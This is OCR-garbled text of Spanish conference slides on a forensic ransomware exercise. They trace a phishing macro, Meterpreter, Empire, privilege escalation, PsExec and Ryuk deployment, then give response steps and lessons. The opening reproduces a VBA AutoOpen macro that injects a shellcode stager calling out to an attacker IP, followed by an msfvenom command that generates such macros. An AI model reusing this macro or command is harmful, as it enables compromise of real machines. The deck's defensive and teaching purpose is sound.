Private Declare Function CreateThread Lib "kernel32" (ByVal Dzsup As Long, ByVal Sahykzr As Long, ByVal Syyvha As Long, Dwlowdzv As Long, ByVal Wgpyuedp As Long, Vrxbigly As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Qdfxtnt As Long, ByVal Ktguk As Long, ByVal Cca As Long, ByVal Oxr As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Ebr As Long, ByRef Pgirvmmeb As Any, ByVal Gtmdyxyl As Long) As Long
#End If
Sub AutoOpen/()
Dim Kzihpafs As Long, Two As Variant, Ubyywgm As Long
#If VBA7 Then
Dim Pgar As LongPtr, Trcaxekjy As LongPtr
#Else
Dim Pgar As Long, Trcaxekjy As Long
#End If
Two = Array(232, 193, o, o, o0, &5, 81, €5, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 72, 139, 114, 80, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, €0, ¢
192, 116, 104, 72, 1, 208, 80, 139, 72, 24, 68, 139, 64, 32, 73, 1, 208, 103, 227, 86, 72, 255, 201, &5, 139, 52, 136, 72, 1, 214, 77, 49, 201, 72, 49, 192, 172, 65, 193, 201, 13, 65, 1, 193, 56, 224, 117, :
4, 136, 72, 1, 208, 65, 88, o5, 88, %4, 8%, 90, e5, 88, 65, 89, €5, 90, 72, 131, 236, 32, €5, 82, 255, 224, 88, €5, 89, 90, 72, 139, 18, 233, 86, 255, 255, 255, 83, 72, 129, 196, 112, 254, 255, 255, 72, 141,
96, 81, 72, 49, 201, 81, 81, 104, 4, O, O, 8, 81, 73, 137, 201, 73, 137, 200, 72, 137, 242, &5, 186, 121, 204, €3, 134, 255, 213, 72, 133, 1%2, 15, 132, 111, o, O, O, 106, &4, 73, 199, 193, 0, 16, 0, 0, 77,
72, 137, 1%4, 72, 139, 15, 65, 186, 197, 216, 189, 231, 255, 213, 72, 49, 201, 81, 81, 81, 73, 137, 217, 73, 137, 200, 72, 139, 15, &5, 186, 198, 172, 154, 121, 255, 213, 72, 49, 201, 72, 255, 201, 65, 186,
65, 81, 65, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, %6, 72, 139%, 82, 24, 72, 139, 82, 32, 72, 139, 114, 8o, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, €0, 97, 124, 2, 44, 32, 65, 193, 201, 1:
128, 136, 0, 0, O, 72, 133, 1%2, 116, 103, 72, 1, 208, 80, 139, 72, 24, &8, 139, &4, 32, 73, 1, 208, 227, 86, 72, 255, 201, &5, 139, 52, 136, 72, 1, 214, 77, 49, 201, 72, 49, 192, 172, &5, 193, 201, 13, 65,
28, 73, 1, 208, 65, 139, 4, 136, 72, 1, 208, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, %0, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 72, 49, 219, 83,
71, 49, 1%2, 77, 49, 201, 83, 83, 73, 186, 58, 86, 121, 1l&7, 0O, 0O, 0, O, 255, 213, 232, 16, O, 0O, O, 49, 48, 49, 46, 49, 51, 50, 46, 49, 50, 50, 46, 50, 49, 52, 0, 90, 72, 137, 193, 73, 199, 192, 91, 17, O,
86, 56, 120, €6, 104, 119, 72, 53, 83, 100, 89, 112, 120, 103, 119, 117, 97, 53, 113, 81, 73, 4%, 120, 1lo08, 108, 106, 55, 73, &80, 88, 102, 77, 100, 49, 100, 112, 81, 114, 0, 72, 137, 193, 83, 90, 65, 88, 77,
241, 106, 31, 90, 82, 104, 128, 51, o0, O, 73, 137, 224, 106, 4, 65, 89, 73, 186, 117, 70, 158, 134, 0, 0, O, O, 255, 213, 77, 49, 192, 83, %0, 72, 137, 241, 77, 49, 201, 77, 49, 201, 83, 83, 73, 199, 194, 4!
116, 2, 235, 170, 232, 85, 0, O, O, 83, 89, 106, 64, 90, 73, 137, 209, 193, 226, 16, 73, 199, 192, o0, 16, 0O, O, 73, 186, 88, 164, 83, 229, 0, 0, 0, O, 255, 213, 72, 147, 83, 83, 72, 137, 231, 72, 137, 241,
l1ie, 178, 102, 13%, 7, 72, 1, 195, 133, 1%2, 117, 210, 88, 195, 88, 106, 0, 89, 73, 199, 194, 240, 181, 1le2, 86, 255, 213
Pgar = VirtualAlloc (0, UBound(Two), &HL1000, &H40)
For Ubyywgm = LBound(Two) To UBound (Two)
Kzihpafs = Two (Ubyywgm)
Trcaxekjy = RtlMoveMemory (Bgar + Ubyywgm, Kzihpafs, 1)
Next Ubyywgm
Trcaxekjy = CreateThread(0, 0, Pgar, 0, 0, 0)
End Sub
v
=]z < 2




2. Inyectar una shellcode en otro proceso

Otra opcion puede ser inyectar directamente una shellcode nuestra en otro proceso (o en el propio excel). Esta

técnica es utilizada por ejemplo por metasploit cuando genera una macro de excel:

root@Frederik:~|= msfvenom -a x64 -p windows/x64/exec CMD=cmd -f vba

No platform was selected, choosing Msf::Module::Platform: :Windows from the payload
No encoder or badchars specified, outputting raw payload

Payload size: 271 bytes

Final size of vba file: 2417 bytes

Frivate Declare PtrSafe Function CreateThread Lib "kernsl132" (ByVal Eswra As Long, ByVal Nssuuaag As Long, ByvVal Fozn As
LongPtr, Ovw As Long, ByVal Eszngdvz As Long, Ygkekcr As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hhhic As Long, ByVal Ohjgni As Long, ByVal Fyie As
Long, ByVal Dsloxc As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "kernsl132" (ByVal Htcuumn As LongPtr, ByRef ogfptgzd As aAny, ByVal Bgo

As Long) As LongPtr

1R R R eI RSO bl lat vk Ro ) s BN oS =Rl ula ba s AN e I Sl Pl (ByVal Eswra As Long, ByVal Nssuuaag As Long, ByVal Fozn As Long, OVw

As Long, ByVal Eszngdvz As Long, Ygkekcr As Long) As Long

Private Declare Function Virtualalloc Lib "kernel32" (ByVal Hhhic As Long, ByVal Chjgni As Long, ByVal Fyie As Long, ByVal
Dsloxc As Long) As Long

Private Declare Function RtlMoveMemory Lib "kern=132" (ByVal Htcuumn As Long, ByRef Ogfptgzd As Zny, ByVal Bgo As Long) As

Long

Suk Auto_Open ()

Dim Wihz As Long, Pkbwhv As Variant, Smgocz As Long

LongPtr, Bzrggsmin As LongPtr

Long, Bzrggsmin As Long

2 1 1 2
2,15,183,74,74,77,49,201,72,4%9,1%2,172,60,97,124,2,44,32,65,1%3,201,13,¢65,1,193,22¢,237,82,65,81,72,139,82,32,13

,208,139,128,136,0,

CoN-cert
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Buscamos cadenas
tipo de la macro

IMetasploit!

Macro = Stager de
meterpreter

Nota: En un
escenario real el
payload seria Emotet

Fuente:
https://www.tarlogic.com/blog/codigo-
macros-de-excel/




E: BrowsingHistoryView
File Edit View Options Help
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BEedhx2 N

URL ~ Title
g flIe:,’.-f-’C:.sters_-"doIores.julg&:r\o;’D ownloads/FFP_Reorg_DEF.doc }
@ http://10.11.0.66/
E nttp://10.11.0.66/
,’é http://10.11.0.66/favicon.ico
@ http://10.11.0.66/FFP_Reorg_DEF.doc
€ http://10.11.0.66/FFP_Reorg_DEF.doc
€ http://10.11.0.66/launcher.bat
@ http://10.11.0.66/launcher.bat
&8 hitp//101.132.122.215/

Visit Time

09/11/2020 11:53:00
14/10/2020 19:26:19
13/10/2020 20:41:12
13/10/2020 20:45:08
13/10/2020 20:45:11
13/10/2020 20:45:11
13/10/2020 20:41:14
13/10/2020 20:41:14

09/11/2020 L3201

@ hitp://101.132.122.215/FFP_Reorg_DEF.doc
e http://101.132.122.215/FFP_Reorg_DEF.doc
._(é http://101.132.122.215/FFP_Reorg_DEF.doc

09/11/2020 11:37:01
09/11/2020 11:37:01
09/11/2020 11:36:52

Eht'l:ps:/ldl.google.com/iag/sjappguid%BD%?-B&AGQDMS-DSB...
. .. s . . s . am

14/10/2020 19:27:13

Revisamos el historial de navegacién

El fichero ha sido descargado por la
usuaria dolores.jolgorio

OC:101.132.122.215

NO se aprecia mas navegacion ... ;de
donde puede haber salido?
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Bandeja de entrada - Lola — O X

) Responder %) Responder atodos —> Reenviar  [I] Eliminar  =**

Reorganizacion FFP

[d

o rthh@minaf.es <admin@mina.es>

04/11/2020 22:05

Para: Dolores Jolgorio

Reorganizccion de la FFT

Se adjunta nuevo esquema de la RPT de la FFP dentro del MINAF, de aplicacion a 1 de enero de 2021

http://intranet.minaf.es//rrhh/confidencial/reorg/FFP Reorg DEF.doc

http://101.132.122.215/ffp_reorg_def.doc

Atentamente, . .
Haga clic o pulse para seguir vinculo.

Rosa Alegria - Subdirectora de RRHH del MINAF




<] ESEDatabaseView: C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 3.6 - W10-PC5 - Entrada\Comms\Unis
File Edit View Options Help

PR L=a AR
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MSysObjects [Table ID = 2, 28 Columns] v

ObjidTable +  Type Id  ColtypOrPgnoFDP SpacelUsage Flags PagesOrlocale RootFlag RecordOffset Name

@2 1 2 4 80 -1073741824 20 255 MSysObjects

@2 2 1 4 4 1 1252 42 4 ObjidTable

@2 2 2 3 2 1 1252 42 4 Type

@2 2 3 4 4 1 1252 42 4 Id

@2 2 4 4 4 1 1252 42 4 ColtypOrPgnoFDP
@2 2 5 4 4 1 1252 42 4 SpaceUsage

@2 2 6 4 4 1 1252 42 4 Flags

@2 2 7 4 4 1 1252 42 4 PagesOrlLocale

@2 2 8 1 1 0 1252 42 4 RootFlag

@2 2 9 3 2 0 1252 42 4 RecordOffset

@2 2 0 4 4 0 1252 42 4 LCMapFlags

@2 2 1n 17 2 0 1252 42 4 KeyMost

@2 2 12 4 4 0 1252 42 4 LVChunkMax

@2 2 128 10 255 1 1252 Name

@2 2 129 9 255 0 1252 Stats

@2 2 130 10 255 0 1252 TemplateTable

@2 2 131 9 255 0 1252 DefaultValue

@2 2 132 9 255 0 1252 k KeyFldIDs

@2 2 133 9 255 0 1252 VarSegMac

@2 2 134 9 255 0 1252 ConditionalColumns
@2 2 135 9 255 0 1252 TupleLimits

@2 2 136 9 255 0 1252 Version

@2 2 137 9 255 0 1252 SortlD

@2 2 256 1 0 0 1252 CallbackData

@2 2 257 1 0 0 1252 CallbackDependencies
@2 2 258 1 0 0 1252 SeparatelV

@2 2 259 1 0 0 1252 SpaceHints

@2 2 2600 1 0 0 1252 SpaceDeferredlVHints
@2 2 261 1 0 0 1252 LocaleName

@2 3 2 4 80 65585 0 42 10794 Id

@2 3 4 7 80 65553 0 42 10794 Name

@2 3 5 10 80 65545 0 42 10794 RootObjects

@3 1 3 24 80 -1073741824 5 255 MSysObjectsShadow
@3 2 1 4 4 1 1252 42 4 ObjidTable

@3 2 2 3 2 1 1252 42 4 Type

@3 2 3 4 4 1 1252 42 4 Id

La FFP usa la app Mail de

Windows 1

0

C:\Users\[
NComms

UserNAppData\Loca

Store.vol = BD de correos =»

ESEDB
.. Muy po

co usable ®
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MIME-Version: 1.8

Date: Wed, 4 Nov 2020 22:85:14 +0160

Fron: "rrhigninaf . es” <adninnina.es> = Guardamos el mensaje como .eml|
Subject: Reorganizacion FFP
Thread-Topic: Reorganizacion FFP

|

.. pero esto es lo que guarda ®

To: Dolores Jolgorio <dolores.jolgorio@minaf.es>
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

= Moraleja: la app de Mail de Windows 10
ety | T no es “forensic friendly”

<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dutf-8"></=
head> . |— .

| —
<body><h1>Reorganizccion de la FFT</hl><p>Se adjunta nuevo esquema de la RP= mina.es M naf-es
T de la FFP dentro del MINAF, de aplicacion a 1 de enero de 2021</p><p> <a =

href=3D"http: //101.132.122.215/FFP_Reorg_DEF.doc">http://intranet.minaf.es/= . COI’I’GO falsiﬂcadO 9 (Lataque dlt’lgldo 0

/rrhh/confidencial/reorg/FFP_Reorg DEF.doc</a> </p><p>Atentamente, </p><p>R=

osa Alegria - Subdirectora de RRHH del MINAF</p></body></html> =0A= persona“zacién de |os atacantes?
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Presencia de ficheros con los nombres de las tools

Persistencia WMI (Filtro con nombre “updater”

1P 101.132.122.214 (payload) y 101.132.122.215 (descarga del .doc)
Presencia del fichero FFP_Reorg DEF.doc

Correos desde “@mina.es / Asunto: “Reorganizacion FFP" -
Enviados a otras 12 personas del FFP 2 Solo 1 hit ©
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W10-PC3: Conclusiones

Atacantes entran con un correo con macro maliciosa
Despliegan un agente de meterpreter
Reconocen el sistema

Hacen el cambio de Meterpreter a Empire

Elevan privilegios con el exploit de la vuln. CVE-2020-0787
Vuelcan credenciales locales con powerdump

Reconocen el dominio e identifican W10-PC3

Lanzan un agente de Empire via PSExec
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Analisis del incidente: Objetivos

= Alcance: 3 equipos comprometidos

= |mpacto: Compromiso completo del
equipo

= [OC: 12

= \ector de entrada: Correo con enlace a
Word con macro maliciosa

= Meterpreter + recon + Empire + CVE-
2020-0787 + dump de hashes + crack +
AD Recon + Psexec




3.

Resultados de la respuesta



Timeline del incidente

9/Nov 11:37 Usuaria de
W10-PC5 abre el correo
y activa macros

4/Nov Atacantes envian
correo malicioso

9

11:38 Despliegue de
meterpreter

¢
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11:46 Cambio Timeline del incidente
Meterpreter-> Empire

11:417Reconocimiento
del sistema

Vuelcan hashes con
powerdump

12:01 Elevan privilegios
con CVE-2020-0/87

12:37 ldentifican con
BloodHound W10-PC3

¢
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1642200 9ptendon Timeline del incidente
via Mimikatz , »
15:08n Programacion
del ransomware a las
17:15h UTC
13:16 Psexec + Empire
en W10-PC3 13:57h Acceso RDP a DC
con dom.adm + pivot
/ SSH-RDP
15:30 Alerta
] del
" incidente

o

o

¢

15:13h Lanzamiento
del agente de Empire




oooooooooooooooooooooooooo

Erradicacio

GPO1 para borrar €|
ransomware

GPO2 para revertir los
campios hechos en la seg.

Blogueamos el rango de IP
en el cortatuegos

Repasamos TODOS los
equipos del MINAF
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Recuperacion

= Restauramos snapshots previos
sanos de las VM de los DC

» Forense adicional al DC (por si
las moscas o las persistencias)

= Remaquetamos W10-PC3y
W10-PC5

= Cambiamos las credenciales de
todos los admin. de dominio

#XIVIORNADASCCNCERT




Compartimos inteligencia

Se agrupan todos los I0C con un
pequeno informe

Se genera un ticket en LUCIA

Alternativa: correo cifrado a:
iNncidentes@ccn-cert.cni.es

El CCN-CERT distribuye los 10C
via REYES



mailto:incidentes@ccn-cert.cni.es
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Diseminacion

» Se realiza un informe del incidente
s Se comunican los 1OC al CCN-CERT
= Se crea un informe publico del incidente




Atribucion

= Araiz de los 10C, el CCN-CERT afirma que el atague ha sido
realizado por un grupo de HOR localizado en Bielorrusia
(confianza media) = Esas 2h de retraso = UTC+3 ©

= (Colaboracion europea = Nuevos IOCy TTP de Ryuk




4.

Lecciones aprendidas



Cuidado con las fusiones = o

IHay que mantener las medidas de seguridad!




Parchea BIEN los sistemas

m NaaS

Napa as a Service
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Password de admin, local DISTINTA

ComputerName

[KJLAB-KICONOZ

Password

kHXU/95.

Password expires

[3/21/2020 1:41:37 PM

S LAPS (Local Admin

Password Solution) =
Gratis, facil de usar,

| Thursday . March 28,2013 2:58:13PM

s funcional




Prohibe admin. de dominio en los escritorios




Segmenta las credenciales por niveles
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Same Tier

Control

A 4

Lower Tier
Control

Higher Tier
Control

Blocked

L

Only as required
* Microsoft Active Directory administrative tier model by role

Aar - m s s v g etar 4
Management System Warkstations







Conclencla a tus usuarios
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CLAUDIA + CARMEN

Solucion de vigilancia en el endpoint
Centraliza y posibilita analizar la informacion
CLAUDIA requiere CARMEN

Multiples capacidades de respuesta ante
incidentes, forense y threat hunting

Capaz de convertir muchos I0C en “pata negra”




D.

Conclusiones
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Tim MalcomVetter ¥ 000 - LOS atacaote.s SOn Cada
e @malcomvetter vez maS rapldos

Reminder & reality check:

= Deteccion y respuesta
An opponent can successfully achieve objectives with N O SO N SU Fl Cl E NTES

trashy tactics if the window of time required to reach

the objectives is shorter than defender's ability to 0 BaStl ONa d O = G anarlr

detect & respond TIEMPO vy obligar a hacer

Sometimes it doesn't matter that the tactics are QU | DO

obviously bad. .

= Bastionado perfecto =

4:48 p. m. - 12 nov. 2020 - Twitter Web App \I O h ay ra n S O mv\/a re
https://twitter.com/malcomvetter/status/1326914680783253505 (re C U e rd a, p a ra e | | OS n O

es personal, solo es €£€€)
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Agilizar el tempo operacional en la deteccion

ey
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= | 0S atacantes o “tenian

= muy facil”
ERSY : = ... perotambien han sido
T XA UN Poco torpes
g ‘{f:f{i\- = |3 realidad es mucho
" oahelebrbdetard (7 mas cruda
J’—;x:::;ﬁa = Objetivo: hacer que los
il e el S malos “jueguen” en




Trabaja como Si
estuvieras

COMPROMETIDO
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Ryukpedia (top links)

Human-operated ransomware attacks: A preventable disaster

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

Ransomware groups continue to target healthcare, critical services; here’s how to reduce risk
https.//www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-now-to-
reduce-risk/

Defending networks against human-operated ransomware
https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/defending-networks-against-human-operated-
ransomware/ba-p/1384282

Ryuk's Return
https://thedfirreport.com/2020/10/08/ryuks-return/

Ryukin 5 hours
https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/

Ryuk Speed Run, 2 hours to Ransom
https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/

Ryuk and GPOs and Powershell, Oh My!
https://thebinaryhick.blog/2019/12/22/ryuk-and-gpos-and-powershell-oh-my/



https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/defending-networks-against-human-operated-ransomware/ba-p/1384282
https://thedfirreport.com/2020/10/08/ryuks-return/
https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/
https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/
https://thebinaryhick.blog/2019/12/22/ryuk-and-gpos-and-powershell-oh-my/
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Agradecimientos especiales

@b4rOnd3l4p1rr4 CTF DFIR Weekend Madness

Ximoscrac
last seen recently
adriandlhc
last seen recently

Arturo
last seen recently

dani
last seen recen tly
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Fvidencias, slides y referencias:

Nttps://bit.ly/ransomSTIC

Emal
Twitte

- asanz/@/s2grupo(.)es

- @antoniosanzalc

Canal de forense: t.me/forense
Mas retos forenses: https://ctf.unizar.es
Blog: https://www.securityartwork.es
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MUCHAS GRACIAS




